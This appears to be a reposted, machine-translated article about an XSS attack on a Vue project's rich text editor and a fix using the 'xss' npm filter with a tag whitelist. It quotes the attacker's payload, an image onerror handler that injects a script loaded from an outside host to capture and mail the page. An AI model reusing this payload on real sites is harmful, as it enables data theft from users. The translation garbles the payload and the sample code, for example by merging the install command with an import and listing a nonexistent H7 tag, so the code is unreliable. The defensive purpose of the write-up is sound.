Shulou(Shulou.com)06/02 Report--

This article introduces the relevant knowledge of "example analysis of XSS attacks encountered in VUE projects". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

Preface

With the rapid development of the Internet, the issue of information security has become one of the most concerned focuses of enterprises, and the front end is a high-risk stronghold that causes enterprise security problems. In the era of mobile Internet, in addition to traditional security problems such as XSS and CSRF, front-end personnel often encounter new security problems such as network hijacking and illegal invocation of Hybrid API. Of course, the browser itself is constantly evolving and developing, constantly introducing new technologies such as CSP and Same-Site Cookies to enhance security, but there are still many potential threats, which require front-end technicians to continue to "check leaks and fill gaps".

Discover the cause

The rich text editor is to blame for everything.

Modify the text field to a rich text editor to support users to paste pictures directly when required. Users are attacked by uploading pictures on the Internet.

Attack code 1 "onerror=s=createElement ('script'); body.appendChild (s); s. Src scratch Uniqqis x0.nzUnigram nQS'

When the data is echoed, the picture reports an error and executes the onerror event, causing the current page to be sent to the specified mailbox by screenshot.

The initial solution was to directly close the rich text editor to upload web images, but then encountered this kind of attack again, and the attacker used "fiddler" to modify the parameters to achieve the same effect.

Finally, it uses a third-party defense XSS attack plug-in and solves it by configuring a whitelist to filter when submitting and getting the data returned from the backend.

Plug-in Chinese document address: github.com/leizongmin/ …

Npm install xssimport filterXSS from "xss" Custom filtering rules

When you call the xss () function for filtering, you can set the custom rule through the second parameter:

Options = {}; / / Custom rule html = filterXSS ('alert ("xss");', options)

Specified by whiteList, the format is: {'signature': ['attribute 1', 'attribute 2']}. Tags that are not on the whitelist will be filtered, as will attributes that are not on the whitelist.

Let options = {stripIgnoreTagBody: true, / / tags and tags that are not in the whitelist are deleted directly whiteList: {H2: ["style"], h3: ["style"], h4: ["style"], H5: ["style"], H6: ["style"], H7: ["style"] Hr: ["style"], span: ["style"], strong: ["style"], b: ["style"], I: ["style"], br: [], p: ["style"], pre: ["style"], code: ["style"], a: ["style", "target" "href", "title", "rel"], img: ["style", "src", "title"], div: ["style"], table: ["style", "width", "border"], tr: ["style"], td: ["style", "width", "colspan"], th: ["style", "width" "colspan"], tbody: ["style"], ul: ["style"], li: ["style"], ol: ["style"], dl: ["style"], dt: ["style"], em: ["style"], cite: ["style"], section: ["style"] Header: ["style"], footer: ["style"], blockquote: ["style"], audio: ["autoplay", "controls", "loop", "preload", "src"], video: ["autoplay", "controls", "loop", "preload", "src" "height", "width",],}, css: {/ / because the style attribute of the tag is allowed in the whitelist above Therefore, it is necessary to prevent attackers from using this approach to attack whiteList: {color: true, "background-color": true, width: true, height: true, "max-width": true, "max-height": true, "min-width": true, "min-height": true, "font-size": true },},} content = filterXSS (content,options) "example Analysis of XSS attacks encountered in VUE Project" ends here Thank you for your reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.